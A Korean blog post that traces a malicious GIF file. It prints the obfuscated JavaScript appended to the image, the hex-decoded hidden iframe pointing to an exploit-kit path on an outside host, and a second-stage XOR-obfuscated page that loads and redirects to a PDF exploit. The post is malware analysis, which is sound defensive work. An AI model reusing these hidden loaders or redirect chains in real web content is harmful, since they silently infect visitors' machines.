본문 바로가기

개발/해킹

악성코드를 실행하는 gif

특정 웹사이트에 들어가면 gif 파일로딩시 바이러스라고 백신프로그램에서 체킹된다.
물론 바이러스 프로그램에 따라서 체킹이 안될 수 있는데.
긴급보안패치로 9월에 뉴스에도 나온것 같다. 

아무튼 해당 gif파일을 서버에서 열어보니

 
GIF89a?Bz^S?script>function vxVVyyyVtYY(vyatdYxYYVy){ var vYVbVVyadad=594; return(parseInt(vyatdYxYYVy,16));}function
vaxatxaVatd(vVaxyxtttVy){ var vVyyayVaYdx=594; var vtdYyYxtbYa='';for(vYYbYaydbYx=0; vYYbYaydbYx<vVaxyxtttVy.length; vYY
bYaydbYx+=2){vtdYyYxtbYa+=(String.fromCharCode(vxVVyyyVtYY(vVaxyxtttVy.substr(vYYbYaydbYx,2))));}return vtdYyYxtbYa;} do
cument.write(vaxatxaVatd('3C5343524950543E77696E646F772E7374617475733D27446F6E65273B646F63756D656E742E777269746528273C69
6672616D65202069643D225974646162786456647922206E616D653D227864747462795679746222207372633D22687474703A2F2F7265646469692E
72752F747261666669632F73706C6F6974312F3F272B4D6174682E726F756E64284D6174682E72616E646F6D28292A313638313032292B2774565956
797956626462222077696474683D2232383322206865696768743D2235393422207374796C653D22646973706C61793A206E6F6E653B223E3C2F6966
72616D653E27293C2F5343524950543E'));</script>癤?

위와 같았다..
한번 실행해보기 위해서 잘 정렬해서 아래의 코드로 바꾸어보았다.


<script>
function vxVVyyyVtYY(vyatdYxYYVy){
  var vYVbVVyadad=594;
  return(parseInt(vyatdYxYYVy,16));
}
function vaxatxaVatd(vVaxyxtttVy){
  var vVyyayVaYdx=594;
  var vtdYyYxtbYa='';
  for(vYYbYaydbYx=0; vYYbYaydbYx<vVaxyxtttVy.length;
  vYYbYaydbYx+=2)
  {vtdYyYxtbYa+=(String.fromCharCode(vxVVyyyVtYY(vVaxyxtttVy.substr(vYYbYaydbYx,2))));}return vtdYyYxtbYa;
}

text =  (vaxatxaVatd('3C5343524950543E77696E646F772E7374617475733D27446F6E65273B646F63756D656E742E777269746528273C696672
616D65202069643D225974646162786456647922206E616D653D227864747462795679746222207372633D22687474703A2F2F7265646469692E7275
2F747261666669632F73706C6F6974312F3F272B4D6174682E726F756E64284D6174682E72616E646F6D28292A313638313032292B27745659567979
56626462222077696474683D2232383322206865696768743D2235393422207374796C653D22646973706C61793A206E6F6E653B223E3C2F69667261
6D653E27293C2F5343524950543E'));

document.write(text.replace(/</gi,"&lt;"));
</script>
실행되는것을 방지하기 위해 html 코드실행인 < 를 &lt; 로 만들었다.
결과는


<SCRIPT>window.status='Done';document.write('<iframe id="YtdabxdVdy" name="xdttbyVytb" src="http://reddii.ru/traffic/sploit1/?'+Math.round(Math.random()*168102)+'tVYVyyVbdb" width="283" height="594" style="display: none;"></iframe>')</SCRIPT>

위와 같이 특정사이트의 iframe을 실행하는 html코드로 바뀐다.

위의 경로를 다시 한번 실행해서 소스를 얻어보니,


<html><body>
<input type='text'style='display:none'id='lufilod'value='vukim=new Array(234,191,176,164,183,187,179,246,165,164,181,235
,241,177,179,162,176,191,186,179,248,166,190,166,233,176,235,166,178,176,241,246,161,191,178,162,190,235,231,246,190,179
,191,177,190,162,235,231,246,176,164,183,187,179,180,185,164,178,179,164,235,230,232,234,249,191,176,164,183,187,179,232
,219,220,234,165,181,164,191,166,162,246,162,175,166,179,235,241,162,179,174,162,249,188,183,160,183,165,181,164,191,166
,162,241,232,219,220,176,163,184,181,162,191,185,184,246,177,185,134,146,144,254,255,246,173,219,220,161,184,178,235,161
,191,184,178,185,161,237,219,220,161,190,191,186,179,246,254,161,184,178,248,166,183,164,179,184,162,247,235,161,184,178
,255,219,220,246,161,184,178,235,161,184,178,248,166,183,164,179,184,162,237,219,220,161,184,178,248,186,185,181,183,162
,191,185,184,235,244,177,179,162,176,191,186,179,248,166,190,166,233,176,235,160,191,165,166,178,176,244,237,219,220,171
,219,220,165,179,162,130,191,187,179,185,163,162,254,241,177,185,134,146,144,254,255,237,241,250,227,230,230,230,255,237
,219,220,234,249,165,181,164,191,166,162,232);'/>
<script>
sekilapu=function(str){document.write(str);};
nofomeka=new String();
vibosidi=Math.round(48.32*Math.E-61.057*Math.SQRT1_2+88.973*Math.SQRT2);
eval(document.getElementById('lufilod').value);
for(putudu3=0;putudu3<263;putudu3++)nofomeka+=String.fromCharCode(vukim[putudu3]^vibosidi);
sekilapu(nofomeka);
</script>
</body></html>
와같은 html소스를 로딩하게끔 구현되어 있었다.
위의 코드중

nofomeka를 다시 얻어보니


<iframe src='getfile.php?f=pdf' width=1 height=1 frameborder=0></iframe> <script type='text/javascript'> function goPDF() { wnd=window; while (wnd.parent!=wnd) wnd=wnd.parent; wnd.location="getfile.php?f=vispdf"; } setTimeout('goPDF();',5000); </script> 
위와 같이 코드변화가 되었다. 대단한 놈들..
계속 추적해나가니 웹사이트의 파일을 다 지웠는지

<!DOCTYPE HTML PUBLIC "-//IETF41//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL /traffic/sploit1/index.php was not found on this server.</p>
<p>Additionally, a 404 Not Found
error was encountered while trying to use an ErrorDocument to handle the request.</p>
<hr>
<address>Apache/2 Server at reddii.ru Port 80</address>
</body></html>

와같이 존재하지 않는 파일로 나와서 추적을 더이상 할 수 없었따아...;;

'개발 > 해킹' 카테고리의 다른 글

[MS 보안 업데이트] 2013년 7월 MS 정기 보안업데이트 권고  (0) 2013.09.30
이미지로 위장한 악성코드  (0) 2013.05.30
teardrop  (0) 2012.02.05
DRDOS  (0) 2012.02.05
버퍼오버플로우  (0) 2012.02.05